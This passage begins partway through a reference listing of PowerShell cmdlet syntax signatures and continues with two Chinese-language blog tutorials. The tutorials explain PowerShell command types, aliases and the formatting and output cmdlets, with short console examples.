  306. Cmdlet          Get-Member                                          Get-Member [[-Name] <String[]>] [-InputObject <PSObject>] [-MemberType <PSMemberTypes>] [-View <PSMemberViewTypes>] [-Static] [-Force] [-V...  
  307. Cmdlet          Move-ItemProperty                                   Move-ItemProperty [-Path] <String[]> [-Destination] <String> [-Name] <String[]> [-PassThru] [-Force] [-Filter <String>] [-Include <String[...  
  308. Cmdlet          Move-Item                                           Move-Item [-Path] <String[]> [[-Destination] <String>] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-PassThru]...  
  309. Cmdlet          Get-Credential                                      Get-Credential [-Credential] <PSCredential> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...  
  310. Cmdlet          Get-Counter                                         Get-Counter [[-Counter] <String[]>] [-SampleInterval <Int32>] [-MaxSamples <Int64>] [-Continuous] [-ComputerName <String[]>] [-Verbose] [-...  
  311. Cmdlet          Get-Command                                         Get-Command [[-ArgumentList] <Object[]>] [-Verb <String[]>] [-Noun <String[]>] [-Module <String[]>] [-TotalCount <Int32>] [-Syntax] [-Verb...  
  312. Cmdlet          Get-ComputerRestorePoint                            Get-ComputerRestorePoint [[-RestorePoint] <Int32[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreferen...  
  313. Cmdlet          Get-Content                                         Get-Content [-Path] <String[]> [-ReadCount <Int64>] [-TotalCount <Int64>] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [...  
  314. Cmdlet          Get-Culture                                         Get-Culture [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-WarningV...  
  315. Cmdlet          Get-EventLog                                        Get-EventLog [-LogName] <String> [[-InstanceId] <Int64[]>] [-ComputerName <String[]>] [-Newest <Int32>] [-After <DateTime>] [-Before <Date...  
  316. Cmdlet          Get-EventSubscriber                                 Get-EventSubscriber [[-SourceIdentifier] <String>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionP...  
  317. Cmdlet          Get-ExecutionPolicy                                 Get-ExecutionPolicy [[-Scope] <ExecutionPolicyScope>] [-List] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Actio...  
  318. Cmdlet          Measure-Command                                     Measure-Command [-Expression] <ScriptBlock> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningActio...  
  319. Cmdlet          Get-Date                                            Get-Date [[-Date] <DateTime>] [-Year <Int32>] [-Month <Int32>] [-Day <Int32>] [-Hour <Int32>] [-Minute <Int32>] [-Second <Int32>] [-Displa...  
  320. Cmdlet          Get-Event                                           Get-Event [[-SourceIdentifier] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...  
  321. Cmdlet          Measure-Object                                      Measure-Object [[-Property] <String[]>] [-InputObject <PSObject>] [-Sum] [-Average] [-Maximum] [-Minimum] [-Verbose] [-Debug] [-ErrorActio...  
  322. Cmdlet          Invoke-WSManAction                                  Invoke-WSManAction [-ResourceURI] <Uri> [-Action] <String> [[-SelectorSet] <Hashtable>] [-ConnectionURI <Uri>] [-FilePath <String>] [-Opti...  
  323. Cmdlet          Get-Service                                         Get-Service [[-Name] <String[]>] [-ComputerName <String[]>] [-DependentServices] [-RequiredServices] [-Include <String[]>] [-Exclude <Stri...  
  324. Cmdlet          Get-TraceSource                                     Get-TraceSource [[-Name] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...  
  325. Cmdlet          Get-Transaction                                     Get-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...  
  326. Cmdlet          Get-Random                                          Get-Random [[-Maximum] <Object>] [-SetSeed <Nullable`1>] [-Minimum <Object>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warni...  
  327. Cmdlet          Get-PSSession                                       Get-PSSession [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Err...  
  328. Cmdlet          Get-PSSessionConfiguration                          Get-PSSessionConfiguration [[-Name] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...  
  329. Cmdlet          Get-PSSnapin                                        Get-PSSnapin [[-Name] <String[]>] [-Registered] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...  
  330. Cmdlet          Get-UICulture                                       Get-UICulture [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warnin...  
  331. Cmdlet          Group-Object                                        Group-Object [[-Property] <Object[]>] [-NoElement] [-AsHashTable] [-AsString] [-InputObject <PSObject>] [-Culture <String>] [-CaseSensitiv...  
  332. Cmdlet          Get-WSManCredSSP                                    Get-WSManCredSSP [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-War...  
  333. Cmdlet          Get-WSManInstance                                   Get-WSManInstance [-ResourceURI] <Uri> [-ApplicationName <String>] [-ComputerName <String>] [-ConnectionURI <Uri>] [-Dialect <Uri>] [-Frag...  
  334. Cmdlet          Get-WmiObject                                       Get-WmiObject [-Class] <String> [[-Property] <String[]>] [-Filter <String>] [-Amended] [-DirectRead] [-AsJob] [-Impersonation <Impersonati...  
  335. Cmdlet          Get-Unique                                          Get-Unique [-InputObject <PSObject>] [-AsString] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  336. Cmdlet          Get-Variable                                        Get-Variable [[-Name] <String[]>] [-ValueOnly] [-Include <String[]>] [-Exclude <String[]>] [-Scope <String>] [-Verbose] [-Debug] [-ErrorAc...  
  337. Cmdlet          Get-WinEvent                                        Get-WinEvent [[-LogName] <String[]>] [-MaxEvents <Int64>] [-ComputerName <String>] [-Credential <PSCredential>] [-FilterXPath <String>] [-...  
  338. Cmdlet          Invoke-Command                                      Invoke-Command [-ScriptBlock] <ScriptBlock> [-InputObject <PSObject>] [-ArgumentList <Object[]>] [-Verbose] [-Debug] [-ErrorAction <Action...  
  339. Cmdlet          Get-PSCallStack                                     Get-PSCallStack [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...  
  340. Cmdlet          Import-PSSession                                    Import-PSSession [-Session] <PSSession> [[-CommandName] <String[]>] [[-FormatTypeName] <String[]>] [-Prefix <String>] [-DisableNameCheckin...  
  341. Cmdlet          Invoke-Expression                                   Invoke-Expression [-Command] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVar...  
  342. Cmdlet          Invoke-WmiMethod                                    Invoke-WmiMethod [-Class] <String> [-Name] <String> [[-ArgumentList] <Object[]>] [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authenti...  
  343. Cmdlet          Invoke-Item                                         Invoke-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCredential>] [-Verbose] [-De...  
  344. Cmdlet          Invoke-History                                      Invoke-History [[-Id] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...  
  345. Cmdlet          Import-Module                                       Import-Module [-Name] <String[]> [-Global] [-Prefix <String>] [-Function <String[]>] [-Cmdlet <String[]>] [-Variable <String[]>] [-Alias <...  
  346. Cmdlet          Import-Alias                                        Import-Alias [-Path] <String> [-Scope <String>] [-PassThru] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...  
  347. Cmdlet          Get-PSDrive                                         Get-PSDrive [[-Name] <String[]>] [-Scope <String>] [-PSProvider <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warnin...  
  348. Cmdlet          Get-PSProvider                                      Get-PSProvider [[-PSProvider] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...  
  349. Cmdlet          Import-Clixml                                       Import-Clixml [-Path] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...  
  350. Cmdlet          Import-LocalizedData                                Import-LocalizedData [-BindingVariable] <String> [[-UICulture] <String>] [-BaseDirectory <String>] [-FileName <String>] [-SupportedCommand...  
  351. Cmdlet          Import-Csv                                          Import-Csv [-Path] <String[]> [[-Delimiter] <Char>] [-Header <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...  
  352. Cmdlet          Import-Counter                                      Import-Counter [-Path] <String[]> [-StartTime <DateTime>] [-EndTime <DateTime>] [-Counter <String[]>] [-MaxSamples <Int64>] [-Verbose] [-D...  
  353. Cmdlet          Export-Clixml                                       Export-Clixml [-Path] <String> [-Depth <Int32>] -InputObject <PSObject> [-Force] [-NoClobber] [-Encoding <String>] [-Verbose] [-Debug] [-E...  
  354. Cmdlet          Export-Console                                      Export-Console [[-Path] <String>] [-Force] [-NoClobber] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefe...  
  355. Cmdlet          Export-Counter                                      Export-Counter [-Path] <String> [-FileFormat <String>] [-MaxSize <UInt32>] -InputObject <PerformanceCounterSampleSet[]> [-Force] [-Circula...  
  356. Cmdlet          Export-Alias                                        Export-Alias [-Path] <String> [[-Name] <String[]>] [-PassThru] [-As <ExportAliasFormat>] [-Append] [-Force] [-NoClobber] [-Description <St...  
  357. Cmdlet          Read-Host                                           Read-Host [[-Prompt] <Object>] [-AsSecureString] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  358. Cmdlet          Enter-PSSession                                     Enter-PSSession [-ComputerName] <String> [-Credential <PSCredential>] [-Port <Int32>] [-UseSSL] [-ConfigurationName <String>] [-Applicatio...  
  359. Cmdlet          Exit-PSSession                                      Exit-PSSession [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warni...  
  360. Cmdlet          Export-Csv                                          Export-Csv [-Path] <String> [[-Delimiter] <Char>] -InputObject <PSObject> [-Force] [-NoClobber] [-Encoding <String>] [-NoTypeInformation] ...  
  361. Cmdlet          Pop-Location                                        Pop-Location [-PassThru] [-StackName <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...  
  362. Cmdlet          ForEach-Object                                      ForEach-Object [-Process] <ScriptBlock[]> [-InputObject <PSObject>] [-Begin <ScriptBlock>] [-End <ScriptBlock>] [-Verbose] [-Debug] [-Erro...  
  363. Cmdlet          Format-Custom                                       Format-Custom [[-Property] <Object[]>] [-Depth <Int32>] [-GroupBy <Object>] [-View <String>] [-ShowError] [-DisplayError] [-Force] [-Expan...  
  364. Cmdlet          Export-PSSession                                    Export-PSSession [-Session] <PSSession> [-OutputModule] <String> [[-CommandName] <String[]>] [[-FormatTypeName] <String[]>] [-Force] [-Enc...  
  365. Cmdlet          Export-FormatData                                   Export-FormatData [-InputObject <ExtendedTypeDefinition[]>] [-Path <String>] [-Force] [-NoClobber] [-IncludeScriptBlock] [-Verbose] [-Debu...  
  366. Cmdlet          Push-Location                                       Push-Location [[-Path] <String>] [-PassThru] [-StackName <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...  
  367. Cmdlet          Export-ModuleMember                                 Export-ModuleMember [[-Function] <String[]>] [-Cmdlet <String[]>] [-Variable <String[]>] [-Alias <String[]>] [-Verbose] [-Debug] [-ErrorAc...  
  368. Cmdlet          Remove-Job                                          Remove-Job [-Id] <Int32[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVaria...  
  369. Cmdlet          Remove-ItemProperty                                 Remove-ItemProperty [-Path] <String[]> [-Name] <String[]> [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Creden...  
  370. Cmdlet          Remove-Item                                         Remove-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Recurse] [-Force] [-Credential <PSCredenti...  
  371. Cmdlet          Remove-Module                                       Remove-Module [-Name] <String[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...  
  372. Cmdlet          Remove-PSSession                                    Remove-PSSession [-Id] <Int32[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...  
  373. Cmdlet          Remove-PSDrive                                      Remove-PSDrive [-Name] <String[]> [-PSProvider <String[]>] [-Scope <String>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...  
  374. Cmdlet          Remove-PSBreakpoint                                 Remove-PSBreakpoint [-Breakpoint] <Breakpoint[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  375. Cmdlet          Remove-EventLog                                     Remove-EventLog [-LogName] <String[]> [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...  
  376. Cmdlet          Register-ObjectEvent                                Register-ObjectEvent [-InputObject] <PSObject> [-EventName] <String> [[-SourceIdentifier] <String>] [[-Action] <ScriptBlock>] [-MessageDat...  
  377. Cmdlet          Register-EngineEvent                                Register-EngineEvent [-SourceIdentifier] <String> [[-Action] <ScriptBlock>] [-MessageData <PSObject>] [-SupportEvent] [-Forward] [-Verbose...  
  378. Cmdlet          Receive-Job                                         Receive-Job [-Job] <Job[]> [[-Location] <String[]>] [-Keep] [-NoRecurse] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...  
  379. Cmdlet          Register-PSSessionConfiguration                     Register-PSSessionConfiguration [-Name] <String> [-ProcessorArchitecture <String>] [-ApplicationBase <String>] [-ThreadApartmentState <Apa...  
  380. Cmdlet          Remove-Event                                        Remove-Event [-SourceIdentifier] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...  
  381. Cmdlet          Remove-Computer                                     Remove-Computer [[-Credential] <PSCredential>] [-Force] [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction ...  
  382. Cmdlet          Register-WmiEvent                                   Register-WmiEvent [-Class] <String> [[-SourceIdentifier] <String>] [[-Action] <ScriptBlock>] [-Namespace <String>] [-Credential <PSCredent...  
  383. Cmdlet          Out-String                                          Out-String [-Stream] [-Width <Int32>] [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Act...  
  384. Cmdlet          New-PSSession                                       New-PSSession [[-ComputerName] <String[]>] [-Credential <PSCredential>] [-Name <String[]>] [-Port <Int32>] [-UseSSL] [-ConfigurationName <...  
  385. Cmdlet          New-PSDrive                                         New-PSDrive [-Name] <String> [-PSProvider] <String> [-Root] <String> [-Description <String>] [-Scope <String>] [-Credential <PSCredential>...  
  386. Cmdlet          New-Object                                          New-Object [-TypeName] <String> [[-ArgumentList] <Object[]>] [-Property <Hashtable>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>]...  
  387. Cmdlet          New-PSSessionOption                                 New-PSSessionOption [-MaximumRedirection <Int32>] [-NoCompression] [-NoMachineProfile] [-Culture <CultureInfo>] [-UICulture <CultureInfo>]...  
  388. Cmdlet          New-Variable                                        New-Variable [-Name] <String> [[-Value] <Object>] [-Description <String>] [-Option <ScopedItemOptions>] [-Visibility <SessionStateEntryVis...  
  389. Cmdlet          New-TimeSpan                                        New-TimeSpan [[-Start] <DateTime>] [[-End] <DateTime>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefer...  
  390. Cmdlet          New-Service                                         New-Service [-Name] <String> [-BinaryPathName] <String> [-DisplayName <String>] [-Description <String>] [-StartupType <ServiceStartMode>] ...  
  391. Cmdlet          New-ModuleManifest                                  New-ModuleManifest [-Path] <String> -NestedModules <String[]> [-Guid <Guid>] -Author <String> -CompanyName <String> -Copyright <String> -M...  
  392. Cmdlet          New-Event                                           New-Event [-SourceIdentifier] <String> [[-Sender] <PSObject>] [[-EventArguments] <PSObject[]>] [[-MessageData] <PSObject>] [-Verbose] [-De...  
  393. Cmdlet          New-Alias                                           New-Alias [-Name] <String> [-Value] <String> [-Description <String>] [-Option <ScopedItemOptions>] [-PassThru] [-Scope <String>] [-Force] ...  
  394. Cmdlet          Get-ChildItem                                       Get-ChildItem [[-Path] <String[]>] [[-Filter] <String>] [-Include <String[]>] [-Exclude <String[]>] [-Recurse] [-Force] [-Name] [-Verbose]...  
  395. Cmdlet          New-EventLog                                        New-EventLog [-LogName] <String> [-Source] <String[]> [[-ComputerName] <String[]>] [-CategoryResourceFile <String>] [-MessageResourceFile ...  
  396. Cmdlet          New-Module                                          New-Module [-ScriptBlock] <ScriptBlock> [-Function <String[]>] [-Cmdlet <String[]>] [-ReturnResult] [-AsCustomObject] [-ArgumentList <Obje...  
  397. Cmdlet          New-ItemProperty                                    New-ItemProperty [-Path] <String[]> [-Name] <String> [-PropertyType <String>] [-Value <Object>] [-Force] [-Filter <String>] [-Include <Str...  
  398. Cmdlet          New-Item                                            New-Item [-Path] <String[]> [-ItemType <String>] [-Value <Object>] [-Force] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction...  
  399. Cmdlet          Out-File                                            Out-File [-FilePath] <String> [[-Encoding] <String>] [-Append] [-Force] [-NoClobber] [-Width <Int32>] [-InputObject <PSObject>] [-Verbose]...  
  400. Cmdlet          Out-Default                                         Out-Default [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVar...  
  401. Cmdlet          Format-List                                         Format-List [[-Property] <Object[]>] [-GroupBy <Object>] [-View <String>] [-ShowError] [-DisplayError] [-Force] [-Expand <String>] [-Input...  
  402. Cmdlet          Out-GridView                                        Out-GridView [-InputObject <PSObject>] [-Title <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPref...  
  403. Cmdlet          Out-Printer                                         Out-Printer [[-Name] <String>] [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPref...  
  404. Cmdlet          Out-Null                                            Out-Null [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariab...  
  405. Cmdlet          Out-Host                                            Out-Host [-Paging] [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-E...  
  406. Cmdlet          Format-Table                                        Format-Table [[-Property] <Object[]>] [-AutoSize] [-HideTableHeaders] [-Wrap] [-GroupBy <Object>] [-View <String>] [-ShowError] [-DisplayE...  
  407. Cmdlet          New-WSManSessionOption                              New-WSManSessionOption [-ProxyAccessType <ProxyAccessType>] [-ProxyAuthentication <ProxyAuthentication>] [-ProxyCredential <PSCredential>]...  
  408. Cmdlet          New-WSManInstance                                   New-WSManInstance [-ResourceURI] <Uri> [-SelectorSet] <Hashtable> [-ApplicationName <String>] [-ComputerName <String>] [-FilePath <String>...  
  409. Cmdlet          New-WebServiceProxy                                 New-WebServiceProxy [-Uri] <Uri> [[-Class] <String>] [[-Namespace] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warni...  
  410. Cmdlet          Get-AuthenticodeSignature                           Get-AuthenticodeSignature [-FilePath] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  411. Cmdlet          Format-Wide                                         Format-Wide [[-Property] <Object>] [-AutoSize] [-Column <Int32>] [-GroupBy <Object>] [-View <String>] [-ShowError] [-DisplayError] [-Force...  
  412. Cmdlet          Get-Acl                                             Get-Acl [[-Path] <String[]>] [-Audit] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <Ac...  
  413. Cmdlet          Get-Alias                                           Get-Alias [[-Name] <String[]>] [-Exclude <String[]>] [-Scope <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningActi...  

 

http://wuyisky.iteye.com/blog/396145

如果要学一门语言, 你就必须对语言的语法, 特性有所了解. 只要对语言的各个环境了解, 才能更好编写, 调式, 部署你的程序. 因此, 教程第二部分将会着重于如下几个方面:
1. PowerShell, Shell, 脚本语言等概念;
2. 参数绑定;
3. 类型转换.
这些基础知识, 希望大家不要轻视, 因为后面的教程将会直接引用这些概念.
首 先, 我们先来调查PowerShell中最重要的元素: 命令(Command). 在PowerShell中, 命令分为四类: cmdlet, function, script和native Windows commands. 可能看到这四个英文名称会有些头大, 我们来仔细了解一下.
1. cmdlet
在 PowerShell官方blog上, 有篇关于Cmdlets和API的介绍. 因为PowerShell建立在.Net上, 再加上COM, WMI, ADO, XML等技术. 使得PowerShell对于.Net应用开发人员,服务器管理人员来说都会非常方便, 通过这些已有的接口, 即可完成大量的任务. 但是, PowerShell的设计者明确的指出Cmdlets是PowerShell的灵魂.
Cmdlet是 Command-Let的缩写. cmdlet这类命令有一种统一的命名方法: Verb-Noun, 也就是 动词-名词. 如果你是一名.Net程序员, 那么编程规范中应该也会提出, 对于方法(method)的命名, 最好使用动词-名词形式配合骆驼(Camel)命名法.
查看有哪些cmdlet参考如下:
PS C:\> get-command -CommandType cmdlet
CommandType Name Definition
----------- ---- ----------
Cmdlet Add-Content Add-Content [-Path] <String[]> [-Value] <Object[...
Cmdlet Add-History Add-History [[-InputObject] <PSObject[]>] [-Pass...
Cmdlet Add-Member Add-Member [-MemberType] <PSMemberTypes> [-Name]...
Cmdlet Add-PSSnapin Add-PSSnapin [-Name] <String[]> [-PassThru] [-Ve...
Cmdlet Clear-Content Clear-Content [-Path] <String[]> [-Filter <Strin...
Cmdlet Clear-Item Clear-Item [-Path] <String[]> [-Force] [-Filter ...
Cmdlet Clear-ItemProperty Clear-ItemProperty [-Path] <String[]> [-Name] <S...
这里我省略了绝大部分的显示(^^), PowerShell Version 1.0 微软官方发布的版本包含了
PS C:\> (get-command -CommandType cmdlet).count
129
129确实有点多, 但是实际上在学习过程中你会发现学习他们的过程比你学习unix shell中命令更加容易些, 原因稍后为你解答.
cmdlet 是可以进行扩展的, 如果你想开发自己的cmdlet, 你需要下载PowerShell SDK. 目前, 我只知道该 SDK 包含在了Windows Vista Platform. SDK中. 下载该 SDK, 需要进行正版验证. 在伴随着教程的编写过程, 我也会阅读PowerShell SDK中关于PowerShell的介绍, 并尽量用最简单的语言将需要注意的内容, 传达给大家.
cmdlet的开发并不复杂, 可以使用C#作为实现语言, PowerShell SDK已经实现了好了cmdlet的一个基类, 开发的cmdlet只需要继承该基类. 通过这种开发模式, 最大的优点:
  (1). 所有的cmdlet中包含了一些公共参数(common parameters), 例如: -Verbose, -Debug, -ErrorAction, -ErrorVariable, and -OutVariable. 这些参数大多用于一些脚本调试等.
  (2). 所有的cmdlet中的参数(parameters)具有相似的参数, 相同的类型, 甚至具有相同的性质. 对于接受输入的某些cmdlet来说, 输入的参数就叫做-InputObject, 参数类型一般是[object[]], 而通常都会具有从管道线读取处理对象的属性.
这种一致性带来的最大好处就是, 对于一个命令, 往往你只需要关注命令的特性, 不需要记住复杂繁多的参数. 如果你熟悉unix shell下的utils core tools那么我相信, 例如awk使用-F指定一个支持正则表达式的与分隔符, cut使用-d来分割, sort使用-t进行分割对你来说是痛苦的. 在PowerShell中, 你甚至不需要对cmdlet产生的输出进行分割. 这点你会在稍后看到.
cmdlet编译后的结果不是可执行文件, 而是dll文件, PowerShell启动时, 将这些命令加载, 这些命令执行效率最高, 因为他们在PowerShell时被载入PowerShell进程内.
2. 函数(function)
函数, 准确的说就是: 有名称的代码块(scriptblock). 下面就是一个简单的函数定义:
PS C:\> function Get-DayToBeiJingOlympic
>> {
>> ([datetime] "2008-08-08" - [datetime]::Now).Days;
>> }
>>
PS C:\> Get-DayToBeiJingOlympic
370
细节大家可以不用关心, 稍后都会讲到. 函数就是一段你输入到PowerShell的命令集合.
但是函数在被定义后, 才存在于PowerShell内存中, 当PowerShell退出时, 就会消失.
效率上, 函数在第一次调用时需要编译, 因此第一次调用速度较慢.
3. 脚本(script)
PowerShell在交互式Shell(interactive Shell)和脚本语言(script. Language)之间进行了平衡, 提供了执行脚本的能力. 脚本类似于函数, 存放在文件中, 调用时由PowerShell载入内存, 编译并执行.
效率上来讲, 脚本慢于函数(function), 主要原因在于函数只会在第一次调用时被编译, 而脚本每次调用都会被编译一次. 但是编译后的执行阶段, 他们的性能是近似相等的.
4. native Windows command
我 不知道应该这个东西用什么名字. 这类命令在Windows世界大量存在, 譬如: dir, findstr, del, ping. 这些命令就是Windows之前的可执行文件(非.Net命令行可执行文件). 在PowerShell中调用这些命令效率是最低的, 因为执行他们PowerShell需要创建一个新进程. 此外因为这些命令早于PowerShell, 因此他们的信息输出都是基于文本的(也可以说是字符串), 因此丧失了PowerShell对对象的处理能力. 因此, 如果你知道PowerShell的实现, 就避免使用这些命令.
讨论完命令, 我简单介绍下别名(alias):
PS C:\> (Get-Command -CommandType alias).count
101
你一定在想, PowerShell为什么提供了这么多别名, 难道要累死我们??
PowerShell为了方便使用windows和unix, linux的人们, 支持了两套别名, 譬如dir相对于ls, 还有unix, linux的grep等. 这样无论你使用windows还是linux都能相对来说快速的上手PowerShell.
PowerShell Version 1.0中有一个缺陷, 既定义别名时, 不允许指定参数. 这无疑是PowerShell的一个缺陷. 但是因为cmdlet中参数较少(一般都是10个以内), 因此大多数时候, 你不需要定义带有参数的别名, 如果真的需要, 可以用函数来替代. 这种缺陷, 与代码块的执行等功能有冲突. 希望在后续版本能有别名功能能够更加强大.
写在最后:
如果您有幸坚持看了我的啰唆, 我非常的感激. 接下来的3, 4讲也会偏向于概念而非更多的语法. 任何事, 请相信你对解释器行为的理解, 对语言的特性的理解, 都会让你在编写该语言代码时受益匪浅. 因此, 请坚持, 努力的去学习. 我希望在这份漫长教程过程中, 带给大家更多计算机历史, 发展; 不同语言, 技术的对比; 编写健壮代码(无论是像C, C#还是像sh, PowerShell)的思路. 在03, 04中, 我会介绍两个关键核心的概念(算法??), 参数绑定和类型转换.
学习一门语言, 还能学到编程的心得, 这也是我希望的.

Windows PowerShell中格式化命令和输出命令
http://wuyisky.iteye.com/blog/396144
今 天, 我将为您介绍如何使用格式化和输出命令. 在PowerShell中,负责进行格式化和输出的是三类cmdlet。他们分别是:Format-*、Out-*和 Write-* 。顾名思义,Format-* 主要是用来对信息进行格式化操作,Out-*用于指定输出设备,而 Write-* 为 PowerShell 宿主(Host)输出的更多有用信息提供了快捷访问接口。
我们要将对象输出到控制台或打印机等位置前,我们首先必须将对象格式化成为字符串的形 式。一个对象可能包含几十种属性信息,PowerShell的开发者已经考虑到我们在日常使用时,不会使用一个对象的所有信息,因此默认情况下只保留该对 象上最主要的几种属性。让我们来看看进程对象默认会显示哪些属性。首先看看进程对象究竟有多少个属性:
PS C:\> (Get-Process Idle | Get-Member -MemberType Property).Count
51
在 上面例子,首先使用Get-Process命令返回表示Idle进程的对象,并通过Get-Member命令返回该对象上所有属性,最后我们给出该对象的 属性个数(打印这些属性太占地方了,你可以把Count去掉,检查返回的结果)。让我们看看PowerShell默认情况下会输出哪些属性吧:
PS C:\> Get-Process Idle
Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
      0       0        0         16     0               0 Idle
正如前面所介绍的,PowerShell默认只会返回对象上一部分属性信息,究竟显示哪些属性是通过定义在ETS系统中的信息决定的。
Format 族包含了:Format-Custom、Format-List、Format-Table和Format-Wide四个命令。在大多数情况 下,Format-Table是PowerShell默认使用的格式器。Format-List的输出类似上面输出进程属性的格式,每个对象将会占一行。 一行内包括该对象的多个主要属性,如果该属性信息太长,PowerShell就会将该信息截断。让我们看几个管理PowerShell最常用的例子:
PS C:\> Get-EventLog -LogName 'Windows PowerShell' -Newest 10 | Format-Table
   Index Time          Type        Source                 InstanceID Message
   ----- ----          ----        ------                 ---------- -------
    1029 五月 31 21:38 Information PowerShell                    400 Engine state is changed from None to Available....
    1028 五月 31 21:38 Information PowerShell                    400 Engine state is changed from None to Available....
    1027 五月 31 21:38 Information PowerShell                    600 Provider "Certificate" is Started. ...
    1026 五月 31 21:38 Information PowerShell                    600 Provider "Variable" is Started. ...
    1025 五月 31 21:38 Information PowerShell                    600 Provider "Registry" is Started. ...
    1024 五月 31 21:38 Information PowerShell                    600 Provider "Function" is Started. ...
    1023 五月 31 21:38 Information PowerShell                    600 Provider "FileSystem" is Started. ...
    1022 五月 31 21:38 Information PowerShell                    600 Provider "Environment" is Started. ...
    1021 五月 31 21:38 Information PowerShell                    600 Provider "Alias" is Started. ...
    1020 五月 31 15:43 Information PowerShell                    403 Engine state is changed from Available to Stopp...
这个例子显示PowerShell最近10个日志的日志信息. Format-Table为了保证每个对象只输出一行,只会输出那些较重要的信息,一般对对象的检索,使用Format-Table就是最好的办法。
其他几个命令, 您可以参照PowerShell的帮助, 或我翻译的帮助信息详细学习.
看完了负责格式化对象输出信息的cmdlet,我们需要考虑该把这些信息输出到什么位置了。Out族包括了:Out-Default、Out-File、Out-Host、Out-Null、Out-Printer、Out-GridView和Out-String。
